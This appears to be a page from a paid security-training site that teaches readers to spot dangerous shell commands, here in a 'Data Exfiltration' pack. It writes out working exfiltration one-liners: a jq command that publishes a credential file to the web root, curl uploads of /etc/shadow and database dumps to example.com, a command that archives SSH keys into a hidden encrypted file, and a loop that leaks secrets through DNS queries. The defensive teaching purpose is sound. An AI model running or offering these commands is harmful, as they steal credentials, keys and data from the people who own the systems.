Dangerous
jq --argfile creds "$CRED_FILE" '.auth = $creds' request.json > /var/www/html/status.jsonlinux · bash · Expert
--argfile takes its path from an environment variable, so whatever CRED_FILE points at is embedded into the document, and the result is…
The full explanation and danger signals for this pack are part of Pro.
Think you can spot these under time pressure?
Start TrainingMore Data Exfiltration
curl -X POST --data-binary @/etc/shadow https://example.com/collectAdvancedtar -czf - /home/deploy/.ssh | openssl enc -aes-256-cbc -pbkdf2 -out /tmp/.kAdvancedmysqldump -u root -p"$DBPASS" --all-databases | curl -T - https://example.com/uploadExpertaws s3 cp s3://example-backups/db.sql - | gzip | curl -T - https://example.com/dropNightmarefind /var/www -name '*.php' -newermt '-2 days' -exec sh -c 'mkdir -p /tmp/.s && cp "$1" /tmp/.s/' _ {} \;Nightmarefor f in ./secrets/*; do host "$(base64 -w0 "$f" | head -c 60).lookup.example.com"; doneNightmare